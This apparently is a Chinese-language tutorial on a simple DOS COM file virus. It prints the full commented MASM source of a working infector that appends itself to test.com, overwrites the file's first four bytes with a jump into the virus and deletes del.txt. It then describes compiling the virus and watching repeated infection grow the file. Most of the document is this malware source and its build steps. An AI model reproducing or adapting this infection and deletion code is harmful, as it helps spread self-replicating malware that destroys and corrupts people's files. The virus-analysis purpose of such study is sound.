Table of Contents

参考链接


病毒分析


汇编代码分析

直接上汇编代码virus.asm

CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart
vstart: ;virus start
POP SI
MOV BP,SI;此时BP保存了POP SI,即上条指令POP SI的地址
PUSH SI
printstr: ;输出字符串
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart
MOV DX,SI
INT 21h ;调用dos 9h号功能进行字符串输出
restoreoriginbytes: ;将被修改的头4字节(COM文件加载基址为100h)恢复到原来的
POP SI ;此时被POP到SI中的是POP SI指令(即vstart:处 )的地址
ADD SI,OFFSET yuan4byte-OFFSET vstart;使得SI指向yuan4byte
MOV DI,100h
MOV AX,DS:[SI];因为AX是16位寄存器,所以一次可以转移2个字节
MOV DS:[DI],AX
INC SI ;
INC SI ;增加两次,对应一个字(两个字节)
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX ;将yuan4byte处的4个字节复制到100处
delfile: ;删除指定文件
MOV SI,BP ;此时BP保存了POP SI,即标号vstart:指向的地址
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI ;使SI指向delname
MOV AH,41h ;41号功能调用,删除delname文件
INT 21h
opencomfile: ;打开指定文件,返回的文件描述符保存在AX寄存器中
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI ;使SI指向filename
MOV AL,02
MOV AH,3dh
INT 21h ;调用dos 3dh号功能进行打开文件的操作
JC error ;调用dos 3dh号功能进行打开文件失败时CF被置为1,此时跳转到error分支
readfile: ;保留原本的开头4字节,以便后面可以进行恢复
MOV BX,AX ;AX寄存器保存了dos 3dh号功能进行打开文件后得到的文件号
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI ;使SI指向yuan4byte
MOV CX,4
MOV AH,3fh
INT 21h ;调用dos 3fh号功能进行读文件或设备的操作,BX为文件号,CX为字节数
setfilepositiontoend: ;定位到文件结束位置
MOV AX,4202h
XOR CX,CX
XOR DX,DX
INT 21h ;DOS 42h功能号调用(设置目前文件位置),AL=02h(end of file)
findjmpoffset: ;给将要插入到被感染com文件的JMP XX设置相对偏移量
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2 ;+2是为了偏移到设置JMP指令后面的偏移地址
ADD DI,SI
SUB AX,4 ;之所以减去4,是因为JMP XX自己就占据了4字节,所以跳转的相对距离减4
MOV DS:[DI],AX ;JMP指令中的相对距离
writevirus: ;将病毒内容附加到被感染文件末尾
ADD SI,OFFSET mainstart-OFFSET vstart ;病毒内容
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h ;40h功能号:写文件或设备,BX文件句柄,CX写字节数,DS:DX写的数据
INT 21h
setfilepositiontostart: ;将文件位置移动到头部为加下来修改文件头4字节做准备
MOV SI,BP ;此时BP保存了POP SI,即标号vstart:指向的地址
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h ;将文件位置指向开头 DOS 42h功能号调用(设置目前文件位置),AL=00h(start of file)
modifyheaderbytes: ;修改被感染COM文件头4字节,好让文件一执行就跳到我们的病毒部分,继续感染其他文件
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h ;修改com文件的头4字节为我们写的new4byte(DOS 40h 写)
closefile: ;关闭文件
MOV AH,3eh
INT 21h ;DOS 3eh 关闭文件
error: ;通过PUSH RET返回到文件开头,正常执行,因为COM文件的加载基址就是100h
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET ; 只是作用在第一次感染中,因为上面的error中的返回到100H只对com文件有用,而对于我们的virus.exe并不能使程序返回到start中
DB 3 DUP (?)
vsizes DW 0 ;在子程序main中会被修改
new4byte DB 'M',0e9h,0,0 ;'M'是为了防止病毒被查杀,但是这里M对应的ASCII码又正好对应了机器指令'sub bp',该指令本身没有意义,但是他的存在是有意义的
filename DB "test.com",0
delname DB "del.txt",0
message DB "You are infected by a simple com virus~~"
DB 0dh,0ah,"$"
vends: ;virus end, 用来计算vsizes
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start

diagrams画了个流程图,更直观的看见shellcode的执行流程,加粗加大部分为汇编程序中对应的标号

病毒测试


编译病毒及被感染 COM 程序

这里我使用了masm对上面的virus.asm进行编译链接,生成了virus.exe文件,然后再在同一目录下编译链接了一个简单的com文件test.com(注意文件名与汇编程序中的 filename 对应,不然会感染失败)

test.asm汇编代码:

.model tiny
program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
main proc near
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch ;调用DOS中断4C号功能(返回操作系统)
INT 21h
RET
message db 0dh,'This a simple com program for a test',0dh,0ah,'$'
program ends
END

编译病毒,得到virus.exe

同理编译 COM 程序,得到test.exe,再下载exe2com程序,将test.exe转化成test.com

运行病毒

直接在命令行下输入virus.exe后回车运行:

可见,shellcode 得到了执行,并输出了字符串You are infected by a simple com virus~~

接下来我们执行一下test.com文件,看是否感染成功

运行被感染的 COM 程序

test.com感染前:

test.com感染后:

由图,可见感染成功,再次执行test.com文件,他会再次感染文件名为test.com的文件(若稍作修改,可以感染同一文件夹下的所有COM文件),即会再次感染自己

第二次执行test.com:

第三次执行test.com:

第四次执行test.com:

第五次执行test.com:

可见 shellcode 执行次数按照 2^n 的规律增长,即会重复感染(在文件末尾有很多段相同的 shellcode),会不断增加文件大小